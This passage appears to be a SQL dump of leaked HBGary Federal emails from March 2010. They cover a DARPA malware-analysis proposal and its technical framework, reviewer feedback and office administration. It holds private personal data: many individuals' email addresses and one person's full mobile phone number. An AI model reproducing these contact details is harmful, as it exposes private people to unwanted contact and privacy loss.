see how\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3818,'aaron_hbgary_com/3818.html'),(4230,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002254.M720818P3547Q4231.eml','\"Barr Aaron\" <aaron@hbgary.com>','Excel','I downloaded Office 60 day eval, and it\'s playing nice with propricer.\r\n Need to figure out how to generate the specific reports the Gov\'t\r\nasks for, but here\'s an example.\r\n\r\nTed\r\n',13888,'aaron_hbgary_com/13888.html'),(4231,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002254.M74322P3547Q4228.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary Federal K-1','Please find the attached K-1 for shareholders of HBGary Federal LLC.\r\nThe file is encrypted with your SSAN (without dashes).\r\n\r\nRegards,\r\nTed\r\n\r\n',9781,'aaron_hbgary_com/9781.html'),(4232,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002256.M391267P3547Q4232.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Framework Graphic','Hey Chris,Not sure if you guys want to work on this. &nbsp;It is our cyber physiology analysis framework. &nbsp;The following comments have been made on it. &nbsp;Need to highlight the feedback loops. &nbsp;The static memory analysis and runtime tracing box feeds data back to the repository. &nbsp;The bayesian reasoning and inference node feeds data back to the repository and can develop new traits and genomes that go into the libraries. &nbsp;the specimen analysis and visualization interface feeds data back into the repository. &nbsp;So each of the double arrows needs to be separated out.Another comment is the overall diagram needs to show more of the cyclical nature of the process. Need to de-emphasize the manual process. &nbsp;Its only used in the beginning with decreasing prominence over time, focus is on the automated side.Another comment was to illustrated the innovative ideas on the graphic but not sure how to do that.Aaron',15027,'aaron_hbgary_com/15027.html'),(4233,'2010-03-18','\"Adam Fraser\" <adam.fraser@pikewerks.com>','/aaron@hbgary.com/new/1297002259.M148946P3547Q4233.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: 2nd Draft RFP','what number do I use for our call this afternoon?\r\n\r\n-- Adam\r\n\r\nOn 3/18/10 12:47 AM, Aaron Barr wrote:\r\n> Guys,\r\n> \r\n> Attached is the second draft with updated travel and WBS sections.  The numbers don\'t exactly match yet, but they will tomorrow and we will get out a final to you but I wanted to get this out to you first for pricing purposes.\r\n> \r\n> Thanks\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n',9866,'aaron_hbgary_com/9866.html'),(4234,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002259.M328147P3547Q4234.eml','\"Adam Fraser\" <adam.fraser@pikewerks.com>','Re: 2nd Draft RFP','Hey Adam,\r\n\r\nGive ne a call at 7195108478\r\n\r\n From my iPhone\r\n\r\nOn Mar 18, 2010, at 2:58 PM, Adam Fraser \r\nwrote:\r\n\r\n> what number do I use for our call this afternoon?\r\n>\r\n> -- Adam\r\n>\r\n> On 3/18/10 12:47 AM, Aaron Barr wrote:\r\n>> Guys,\r\n>>\r\n>> Attached is the second draft with updated travel and WBS sections.\r\n>> The numbers don\'t exactly match yet, but they will tomorrow and we\r\n>> will get out a final to you but I wanted to get this out to you\r\n>> first for pricing purposes.\r\n>>\r\n>> Thanks\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n',14315,'aaron_hbgary_com/14315.html'),(4235,'2010-03-18','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>','/aaron@hbgary.com/new/1297002259.M575270P3547Q4235.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: TA3 Discussions @ Thu Mar 18 3:01pm - 4:01pm (jason.upchurch@gd-ais.com)','',16139,'aaron_hbgary_com/16139.html'),(4236,'2010-03-18','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297002259.M759615P3547Q4236.eml','aaron@hbgary.com','Alarm - TA3 Discussions','March 18, 2010 3:01 PM : TA3 Discussions \r\n',4152,'aaron_hbgary_com/4152.html'),(4237,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002260.M2361P3547Q4237.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Automated Malware RE','Begin forwarded message:From: &quot;Hill, Lawrence C (TASC)&quot; &lt;lawrence.hill@TASC.COM&gt;\r\nDate: March 18, 2010 2:24:10 PM MDTTo: &lt;ted@hbgary.com&gt;, &quot;Sandoval Jr, Jose (TASC)&quot; &lt;jose.sandoval@TASC.COM&gt;\r\nCc: &quot;Gutierrez, Daniel L (TASC)&quot; &lt;daniel.gutierrez@TASC.COM&gt;Subject: Re: Automated Malware RE\r\n\r\n\r\n\r\n\r\nJose/Dan,\r\n\r\nIf you two agree with Ted about a having the tool as a competitive advantage  then maybe we can add some dollars into beb request to optimize it for our application?\r\n\r\nL\r\n\r\n----- Original Message -----\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Sandoval Jr, Jose (TASC)\r\nCc: Gutierrez, Daniel L (TASC); Hill, Lawrence C (TASC)\r\nSent: Tue Mar 16 18:08:40 2010\r\nSubject: Automated Malware RE\r\n\r\nHi Jose,\r\n\r\nI was chatting with Lawrence earlier today and he asked about how\r\nHBGary could support your program.  I gave him a quick update on our\r\ndiscussions and mentioned that HBGary is working to productize our\r\nautomated Threat Management Center (that&#39;s what we&#39;re calling it for\r\nnow).  I know that you cannot get us the 20,000 malware samples\r\nbecause of security concerns, and it sounded like you didn&#39;t have\r\nbudget on contract to pay for our support to help you create an\r\nautomated RE architecture in-house.  Out of curiosity, when is the\r\nre-compete?\r\n\r\nPerhaps NG could put together a B&amp;P or Strategic Initiative that would\r\nenable NG and HBGary to develop and demonstrate a significant\r\ndiscriminator for the upcoming proposal.  The last we spoke, HBGary\r\nwas automatically reverse engineering 5,000 malware samples per day.\r\nWe&#39;re now doing 17,000 per day.\r\n\r\nWhat do you think?\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n',8842,'aaron_hbgary_com/8842.html'),(4238,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002260.M888483P3547Q4238.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Technical Approach','All,We are coming to the final stretches of the Darpa proposal. &nbsp;Our schedule is a Pink Team review on Monday and a Red Team review on Wednesday. &nbsp;I will be sending you sections to review when you have time. &nbsp;Please comment, add content, etc. &nbsp;After this document there is a detailed Technical approach document that has all of the more researchy technical details. &nbsp;I will be sending that one out tomorrow or over the weekend. &nbsp;The Technical approach below is to lay out the framework our approach and why it is innovative and unique, and to describe the various research areas. &nbsp;Each of the blocks is a research area, some will have more research than others.Thanks,AaronWhile the focus of this effort is to conduct revolutionary research in key areas related to automated malware analysis for behavior, function, and intent, we believe it is important to structure this research within an operational framework that is maintainable and functional over time as the science of malware analysis matures. &nbsp;Our approach provides for continual improvement and illustrates how the individual research areas fit within this operational framework.&nbsp;There are many valid methods for conducting malware analysis and deriving malware functionality, behaviors, and purpose. &nbsp;However some are likely to yield more accurate and efficient results than others. &nbsp;The HBGary team has extensive experience and expertise in malware analysis, including detection of malware based on exhibited functionality and behaviors, and delivering market leading capability in this area. &nbsp;Based on our extensive experience we believe the best approach for analysis to satisfy the requirements of the cyber genome project is a combination of static memory and runtime analysis. &nbsp;Static file analysis probably still represents the largest portion of malware analysis conducted in organizations today, but this technique is wrought with growing problems as malware finds increasingly complex ways to protect itself from static file analysis techniques, and the mechanisms used to defeat file-based malware security greatly lengthens the time for complete analysis. &nbsp;No matter the security techniques used on the filesystem, to be effective, the malware has to run and when it runs it does so in the clear. &nbsp;Static memory analysis is a methodology where you take a snapshot of memory and analyze the static contents of that snapshot. &nbsp;Nearly all malware is small enough that the entire execution space is captured in a single memory snapshot. &nbsp;But there are some limitations to static memory analysis, such as ..., which is why we will also monitor the execution of the software within a sandbox. &nbsp;The resulting combination of the two analysis techniques will give us a nearly complete picture of the linear execution of any piece of software. &nbsp;As mentioned this only covers the linear execution space of the analyzed software, which in most cases is all that is needed, for completeness, we will conduct research in expanding the execution paths of running programs that require specific IO input or environment conditions for specific branch executions.Fig. 1, illustrates our malware analysis framework, which emphasizes a fully automated malware analysis process enhanced by manual analysis to develop new traits and sequences for flagged unknown functions and behaviors. &nbsp;The end goal is to develop and mature an automated malware analysis system that can recognize new traits or trait patterns automatically and classify and categorize them, or if it can not flag for manual analysis, and update the trait and genome libraries. Using an iterative static memory and runtime analysis approach to smartly execute as much of the code as possible for analysis. &nbsp;The Specimen repository will be continually updated with specimen data through the analysis process, to include a full malware physiology profile. &nbsp;The physiology profile will contain mathematical and visual representations of the malware as well as a human readable summary of the malware\'s overall and more detailed behaviors, functions, and purpose.\r\nFig. 1: Cyber Physiology Analysis FrameworkCyber Physiology Analysis Framework:Specimen Feeds/Harvester/Samples. &nbsp;Subscriptions to Malware feeds to continually populate our specimen repository and continually exercise our automated malware analysis framework. &nbsp;HBGary currently subscribes to multiple feeds and processes around 20,000 new malware samples per day using our automated malware analysis and detection technology. &nbsp;In addition we propse to research methods for identifying and collecting emergent malware specimens.Pre-processor. &nbsp;Provides external analysis and instrumentation for all incoming specimens. &nbsp;In this phase, static binary analysis is performed, automated over time, unpacking, de-obfuscating, reconstructing, and performing binary instrumentation to assist in further automated analysis. &nbsp;Some specimens of contemporary malware contain anti-analysis techniques, these techniques will likely increase over time. &nbsp;We will conduct research into binary pre-processing and instrumentation to identify and mitigate these techniques, and to normalize as much as possible all malware prior to execution. &nbsp;Once operationalized other inputs could be included into the pre-processor such as open source and intelligence information.Specimens Repository. This is the central repository for specimen raw files as well as analytical information collected during pre-processing and the analysis process. &nbsp;HBGary brings an existing malware repository, approximately 500GB of unique malware samples to start the effort. &nbsp;In this area we will conduct research for data format normalization and standardization for malware analysis results. &nbsp;Information maintained will include; specimen raw files, hard artifacts, associated traits and genomes, all low level data recorded through static and runtime analysis, and a full malware physiology profile.Specimen Analysis &amp; Visualization Interface (SAVI). &nbsp;Methodology for streamlined analysis to assist in identifying new traits and genomes as well as present malware physiology profiles once a specimen has been processed. Research will focus on visual representations of malware data to aid in analysis and understanding of malware\'s functions and behaviors and purpose. &nbsp;When there are function and behavior traits or genome sequences that are not fully understood by the automated system, those are flagged in the malware physiology profile stored in the specimen repository and scheduled for manual analysis. &nbsp;Both HBGary and Pikewerks have industry leading experience and products analyzing windows and linux-based malware. &nbsp;SecureDecisions is a market leader in developing advanced visualization capabilities for a variety of datasets.Traits (Gene) Library. &nbsp;Developed trait rules that represent discrete functions and behaviors of software. &nbsp;We propose the best methodology for understanding the aggregate functions, behaviors, and purpose of malware is to first identify and understand the discrete expressed parts of malware describe them in a way that can be classified and mathematically calculated. &nbsp;Both HBGary and Pikewerks have existing methodologies for detecting malware based on behavioral charateristics/traits. &nbsp;This unique knowledge will significantly aid in our research and development of traits for more complex behavioral and functional understanding.Genomes Library. &nbsp;Much like biological gene/trait sequences. &nbsp;To understand how a biological system works, or how genes are expressed within an aggregated system you need to understand the importances of sequences, ordering, and clustering of traits. &nbsp;Our research here will focus on identifying trait patterns that express an aggregated functionality or behavior. &nbsp;These are the algorithms and patterns used to develop the visual and mathematical graphs that examine the malwares overall function, purpose, severity.&nbsp; Develop behavior and function correlation engines and visual representations based on exhibited traits, external and environmental artifacts, space and temporal artifact relationships, sequencing, etc. (fuzzy hashing, etc.)Static Memory Analysis and Runtime Tracing Engine (SMART) - Uses a combination of static memory analysis and runtime tracing techniques to record as much of the malware internals as possible, including exercising as much of the full execution tree as possible. &nbsp;Our research will focus on full branch execution as well as automated analysis and tracing. &nbsp;HBGary and Pikwerks have existing semi-automated technologies that we can leverage for the research and development in this task.Bayesian Reasoning Analysis and Inference Node (BRAIN). &nbsp;As our understanding of malware internals and the relationships of traits and genomes matures we should be able to instrument something like a bayesian reasoning engine to automatically identify mutations within the genomes and classify those mutations to some degree without any manual analysis. &nbsp;Our research will focus on building the malware behavior and function inference models to do the automated analysis of malware.Cyber Physiology Profile. &nbsp;These profiles are the output of the analysis processes and contain both mathmatical and human readable representations (fingerprints) of a specimens aggregate functions, behaviors, and intent. &nbsp;These profiles are stored in the repository for future quick retrieval.\r\n\r\n',12687,'aaron_hbgary_com/12687.html'),(4239,'2010-03-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002261.M181993P3547Q4239.eml','\"Aaron Barr\" <aaron@hbgary.com>','Direct Deposit','I got Mark set up successfully with Direct Deposit.  I\'m hesitant to do\r\nours until I\'ve had a chance to go over things with John Cox, since\r\nwe\'re not \"technically\" employees.  Direct Deposit goes through the\r\nPayroll software, which does insurance, with-holdings, etc...  I don\'t\r\nwant to screw anything up.\r\n\r\nTed\r\n',8952,'aaron_hbgary_com/8952.html'),(4240,'2010-03-18','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002263.M755449P3547Q4240.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,','Revised SOW - Cyber Genome Proposal - HB Gary','\r\n\r\n\r\n\r\n\r\nHi Ted and \r\nAaron,\r\n&nbsp;\r\nPlease find attached the revised RFP Attachment 2 - SOW.&nbsp; This \r\nSOW replaces all prior versions.\r\n&nbsp;\r\n\r\nWe updated the SOW to reflect changes during \r\ndiscussions about technical tasks, pricing, and schedule.\r\nIn other words, we updated the SOWs to reflect \r\nthe bid you sent us, which was based on discussions we\'ve had.\r\nThere is no changes to your pricing \r\nneeded.\r\nIf you have any questions, please feel to \r\ncontact Ryan Vela.\r\nRegards,\r\nCindy \r\nLarson\r\n',9862,'aaron_hbgary_com/9862.html'),(4241,'2010-03-18','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297002263.M969105P3547Q4241.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: New Responder/REcon reports','Hey Aaron.  I don&#39;t have anything handy.  I&#39;m working an incident in TX now.  I don&#39;t have any new info on reports though.  Maybe it&#39;s something coming in the next release.On Thu, Mar 18, 2010 at 1:29 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Phil,\r\n\r\nPenny mentioned some new reports that are generated from Responder/REcon and said I should check with you to get some copies of some to look at.  Do you have some handy that you could send to me?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',2989,'aaron_hbgary_com/2989.html'),(4242,'2010-03-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002264.M176225P3547Q4242.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: New Responder/REcon reports','I am not communicating this right.  What am I missing.From my iPhoneBegin forwarded message:From: Phil Wallisch &lt;phil@hbgary.com&gt;\r\nDate: March 18, 2010 7:15:06 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: New Responder/REcon reports\r\nHey Aaron.  I don&#39;t have anything handy.  I&#39;m working an incident in TX now.  I don&#39;t have any new info on reports though.  Maybe it&#39;s something coming in the next release.\r\nOn Thu, Mar 18, 2010 at 1:29 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Phil,\r\n\r\nPenny mentioned some new reports that are generated from Responder/REcon and said I should check with you to get some copies of some to look at.  Do you have some handy that you could send to me?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',13229,'aaron_hbgary_com/13229.html'),(4243,'2010-03-19','hassen.saidi@gmail.com','/aaron@hbgary.com/new/1297002264.M417499P3547Q4243.eml','aaron@hbgary.com','Requesting access to D. Detailed Technical Approach (Google Docs)','hassen saidi, at hassen.saidi@gmail.com requests access to the document called \"D. Detailed Technical Approach\":http://docs.google.com/a/hbgary.com/Edit?tab=share&docid=dgmbffvt_20d273j2qw&userstoinvite=hassen.saidi%40gmail.comYou are the owner of this document. To give this user access, click the link above and add them as a collaborator or viewer.Note: Invitations on this document are currently restricted to match exact email addresses. If you want to invite people in a mailing list or let them sign in using a different email address, just go to the Share tab for this document and click to check \"Invitations may be used by anyone\" under \"Document sharing options\". Learn more about this topic at the Google Docs Help Center.',5289,'aaron_hbgary_com/5289.html'),(4244,'2010-03-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002265.M176268P3547Q4244.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Technical Approach','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nMy comments are to mostly point out things that may be unclear\r\nto the reader&#8230;&#8230;&#8230;.\r\n\r\n&nbsp;\r\n\r\nWhen you say &#8220;combination of static memory and runtime\r\nanalysis&#8221; it is a bit unclear mainly because the term &#8220;static\r\nmemory&#8221; doesn&#8217;t mean anything unless you define it first.&nbsp;\r\nKeep in mind, this whole concept of running the malware, imaging the memory, reconstructing\r\nmemory, then analyzing both the memory image and the extracted binaries is a\r\ncompletely new paradigm.&nbsp; HBGary invented this methodology so it isn&#8217;t\r\nthat widespread.&nbsp; After we started the trend, Volatility and Memoryze added\r\nfeatures to extract binaries then throw them into IDA Pro.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI&#8217;d like to see the language make it more clear.&nbsp; Yes,\r\nwe statically analyze memory snapshots and binaries extracted from memory, but\r\nI think the casual reader will miss the point because we start with live\r\nsystems and running malware.\r\n\r\n&nbsp;\r\n\r\nI&#8217;d rather you start off by discussing how traditional r/e\r\nmethods require slow manual processes with expensive, non-scalable and\r\nunreliable experts who understand assembly code and low level OS and network\r\nstuff.&nbsp; This is true for\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTraditional static analysis (taking files off filesystem,\r\nunpacking, IDA Pro, smart analyst), and\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTraditional runtime analysis using debuggers.\r\n\r\nOur approach is different.&nbsp; We run the malware and harvest low\r\nlevel runtime data. Then after it has run for time t we suspend the system and\r\nsnapshot physical memory.&nbsp; We combine data from the (1) running malware\r\nover time, (2) the binary at a point in time during execution, and (3) physical\r\nmemory at a point in time.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIn the graphic, the words and flow chart don&#8217;t seem to be\r\nconsistent for #4 SAVI.&nbsp; The words say you use it to look at traits and\r\ngenomes once a specimen has been processed, so I would expect to see the\r\nanalysis take place then see its visualization.&nbsp; The arrows are pointing\r\naway from SAVI.\r\n\r\n&nbsp;\r\n\r\nWouldn&#8217;t SAVI be the user interface to the whole system?........\r\nand therefore be where the user runs the system, has the control mechanisms and\r\nsee info and pretty pictures?\r\n\r\n&nbsp;\r\n\r\nYou show #5 Traits Library in the Manual section.&nbsp; Yes, we\r\ncreate traits manually today at HBGary, but couldn&#8217;t some of our work\r\nattempt to automatically create traits?&nbsp; Same with #6 Genomes Library &#8211;\r\nI thought that this contract wants malware genomes to be automatically\r\ndeveloped.&nbsp; We could be shooting ourselves in the foot saying it is manual.&nbsp;\r\nMaybe we can say we start off organizing malware manually and as we learn we\r\nfigure out how to do it automatically.\r\n\r\n&nbsp;\r\n\r\nI love the &#8220;SMART&#8221; acronym&#8230;&#8230;. Not trying\r\nto throw ice on it, but the term &#8220;Static Memory Analysis&#8221; bugs\r\nme.&nbsp; By definition, memory is volatile so this could be extremely\r\nconfusing to the reader.&nbsp; Yes, we are statically analyzing a memory image\r\nthat was generated dynamically from a live machine.&nbsp; Historical static\r\nanalysis = white box testing which is analyzing code that isn&#8217;t\r\nrunning.&nbsp; We are analyzing code that WAS RUNNING &#8211; furthermore, we\r\nare analyzing the code within the context of the memory soup in which it\r\nlives.&nbsp; We have a new paradigm but we are using old words to describe it,\r\nand those old words carry old meanings that give the wrong impression.&nbsp;\r\nBut no doubt, I see you grabbing at how to tell the reader that we are\r\ncombining multiple kinds of analysis within one framework.\r\n\r\n&nbsp;\r\n\r\nBRAIN made me laugh because SMART and BRAIN go so well together.&nbsp;\r\nYeah, brain and reasoning go together so well.&nbsp; Very clever.&nbsp; You\r\nmust be good a writing winning proposals.&nbsp; Makes sense&#8230;&#8230;.\r\nSMART collects low level info.&nbsp; BRAIN makes sense out of it.&nbsp; Then\r\nafter BRAIN there needs to be a mechanism from Secure Decisions to convert into\r\nvisualization.\r\n\r\n&nbsp;\r\n\r\nThe arrows on the chart confuse me.&nbsp; Might be nice to\r\nannotate with some descriptive info that tell what happens between blocks.\r\n\r\n&nbsp;\r\n\r\nMake sure to send content to Martin too.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 18, 2010 4:52 PM\r\nTo: Greg Hoglund; Rich Cummings; Bob Slapnik\r\nCc: Ted Vera\r\nSubject: Technical Approach\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAll,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe\r\nare coming to the final stretches of the Darpa proposal. &nbsp;Our schedule is\r\na Pink Team review on Monday and a Red Team review on Wednesday. &nbsp;I will\r\nbe sending you sections to review when you have time. &nbsp;Please comment, add\r\ncontent, etc. &nbsp;After this document there is a detailed Technical approach\r\ndocument that has all of the more researchy technical details. &nbsp;I will be\r\nsending that one out tomorrow or over the weekend. &nbsp;The Technical approach\r\nbelow is to lay out the framework our approach and why it is innovative and\r\nunique, and to describe the various research areas. &nbsp;Each of the blocks is\r\na research area, some will have more research than others.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWhile the focus of\r\nthis effort is to conduct revolutionary research in key areas related to\r\nautomated malware analysis for behavior, function, and intent, we believe it is\r\nimportant to structure this research within an operational framework that is\r\nmaintainable and functional over time as the science of malware analysis matures.\r\n&nbsp;Our approach provides for continual improvement and illustrates how the\r\nindividual research areas fit within this operational framework.&nbsp;\r\n\r\n\r\n\r\nThere\r\nare many valid methods for conducting malware analysis and deriving malware\r\nfunctionality, behaviors, and purpose. &nbsp;However some are likely to yield\r\nmore accurate and efficient results than others. &nbsp;The HBGary team has\r\nextensive experience and expertise in malware analysis, including detection of\r\nmalware based on exhibited functionality and behaviors, and delivering market\r\nleading capability in this area. &nbsp;Based on our extensive experience we\r\nbelieve the best approach for analysis to satisfy the requirements of the cyber\r\ngenome project is a combination of static memory and runtime analysis.\r\n&nbsp;Static file analysis probably still represents the largest portion of\r\nmalware analysis conducted in organizations today, but this technique is\r\nwrought with growing problems as malware finds increasingly complex ways to\r\nprotect itself from static file analysis techniques, and the mechanisms used to\r\ndefeat file-based malware security greatly lengthens the time for complete\r\nanalysis. &nbsp;No matter the security techniques used on the filesystem, to be\r\neffective, the malware has to run and when it runs it does so in the clear. &nbsp;Static\r\nmemory analysis is a methodology where you take a snapshot of memory and\r\nanalyze the static contents of that snapshot. &nbsp;Nearly all malware is small\r\nenough that the entire execution space is captured in a single memory snapshot.\r\n&nbsp;But there are some limitations to static memory analysis, such as ...,\r\nwhich is why we will also monitor the execution of the software within a\r\nsandbox. &nbsp;The resulting combination of the two analysis techniques will\r\ngive us a nearly complete picture of the linear execution of any piece of\r\nsoftware. &nbsp;As mentioned this only covers the linear execution space of the\r\nanalyzed software, which in most cases is all that is needed, for completeness,\r\nwe will conduct research in expanding the execution paths of running programs\r\nthat require specific IO input or environment conditions for specific branch\r\nexecutions.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFig.\r\n1, illustrates our malware analysis framework, which emphasizes a fully\r\nautomated malware analysis process enhanced by manual analysis to develop new\r\ntraits and sequences for flagged unknown functions and behaviors. &nbsp;The end\r\ngoal is to develop and mature an automated malware analysis system that can\r\nrecognize new traits or trait patterns automatically and classify and\r\ncategorize them, or if it can not flag for manual analysis, and update the\r\ntrait and genome libraries. Using an iterative static memory and runtime\r\nanalysis approach to smartly execute as much of the code as possible for\r\nanalysis. &nbsp;The Specimen repository will be continually updated with\r\nspecimen data through the analysis process, to include a full malware\r\nphysiology profile. &nbsp;The physiology profile will contain mathematical and\r\nvisual representations of the malware as well as a human readable summary of\r\nthe malware\'s overall and more detailed behaviors, functions, and purpose.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFig. 1: Cyber\r\nPhysiology Analysis Framework\r\n\r\n&nbsp;\r\n\r\nCyber\r\nPhysiology Analysis Framework:\r\n\r\n&nbsp;\r\n\r\n\r\n Specimen Feeds/Harvester/Samples.\r\n     &nbsp;Subscriptions to Malware feeds to continually populate our specimen\r\n     repository and continually exercise our automated malware analysis\r\n     framework. &nbsp;HBGary currently subscribes to multiple feeds and\r\n     processes around 20,000 new malware samples per day using our automated\r\n     malware analysis and detection technology. &nbsp;In addition we propse to\r\n     research methods for identifying and collecting emergent malware\r\n     specimens.\r\n Pre-processor. &nbsp;Provides\r\n     external analysis and instrumentation for all incoming specimens. &nbsp;In\r\n     this phase, static binary analysis is performed, automated over time,\r\n     unpacking, de-obfuscating, reconstructing, and performing binary\r\n     instrumentation to assist in further automated analysis. &nbsp;Some\r\n     specimens of contemporary malware contain anti-analysis techniques, these\r\n     techniques will likely increase over time. &nbsp;We will conduct research\r\n     into binary pre-processing and instrumentation to identify and mitigate\r\n     these techniques, and to normalize as much as possible all malware prior\r\n     to execution. &nbsp;Once operationalized other inputs could be included\r\n     into the pre-processor such as open source and intelligence information.\r\n Specimens Repository. This is the\r\n     central repository for specimen raw files as well as analytical\r\n     information collected during pre-processing and the analysis process.\r\n     &nbsp;HBGary brings an existing malware repository, approximately 500GB of\r\n     unique malware samples to start the effort. &nbsp;In this area we will\r\n     conduct research for data format normalization and standardization for\r\n     malware analysis results. &nbsp;Information maintained will include;\r\n     specimen raw files, hard artifacts, associated traits and genomes, all low\r\n     level data recorded through static and runtime analysis, and a full\r\n     malware physiology profile.\r\n Specimen Analysis &amp;\r\n     Visualization Interface (SAVI). &nbsp;Methodology for streamlined analysis\r\n     to assist in identifying new traits and genomes as well as present malware\r\n     physiology profiles once a specimen has been processed. Research will\r\n     focus on visual representations of malware data to aid in analysis and\r\n     understanding of malware\'s functions and behaviors and purpose. &nbsp;When\r\n     there are function and behavior traits or genome sequences that are not\r\n     fully understood by the automated system, those are flagged in the malware\r\n     physiology profile stored in the specimen repository and scheduled for\r\n     manual analysis. &nbsp;Both HBGary and Pikewerks have industry leading\r\n     experience and products analyzing windows and linux-based malware.\r\n     &nbsp;SecureDecisions is a market leader in developing advanced\r\n     visualization capabilities for a variety of datasets.\r\n Traits (Gene) Library.\r\n     &nbsp;Developed trait rules that represent discrete functions and\r\n     behaviors of software. &nbsp;We propose the best methodology for\r\n     understanding the aggregate functions, behaviors, and purpose of malware\r\n     is to first identify and understand the discrete expressed parts of\r\n     malware describe them in a way that can be classified and mathematically\r\n     calculated. &nbsp;Both HBGary and Pikewerks have existing methodologies\r\n     for detecting malware based on behavioral charateristics/traits.\r\n     &nbsp;This unique knowledge will significantly aid in our research and\r\n     development of traits for more complex behavioral and functional\r\n     understanding.\r\n Genomes Library. &nbsp;Much like\r\n     biological gene/trait sequences. &nbsp;To understand how a biological\r\n     system works, or how genes are expressed within an aggregated system you\r\n     need to understand the importances of sequences, ordering, and clustering\r\n     of traits. &nbsp;Our research here will focus on identifying trait\r\n     patterns that express an aggregated functionality or behavior. &nbsp;These\r\n     are the algorithms and patterns used to develop the visual and\r\n     mathematical graphs that examine the malwares overall function, purpose,\r\n     severity.&nbsp; Develop behavior and function correlation engines and\r\n     visual representations based on exhibited traits, external and\r\n     environmental artifacts, space and temporal artifact relationships, sequencing,\r\n     etc. (fuzzy hashing, etc.)\r\n Static Memory Analysis and\r\n     Runtime Tracing Engine (SMART) - Uses a combination of static memory\r\n     analysis and runtime tracing techniques to record as much of the malware\r\n     internals as possible, including exercising as much of the full execution\r\n     tree as possible. &nbsp;Our research will focus on full branch execution\r\n     as well as automated analysis and tracing. &nbsp;HBGary and Pikwerks have\r\n     existing semi-automated technologies that we can leverage for the research\r\n     and development in this task.\r\n Bayesian Reasoning Analysis and\r\n     Inference Node (BRAIN). &nbsp;As our understanding of malware internals\r\n     and the relationships of traits and genomes matures we should be able to\r\n     instrument something like a bayesian reasoning engine to automatically\r\n     identify mutations within the genomes and classify those mutations to some\r\n     degree without any manual analysis. 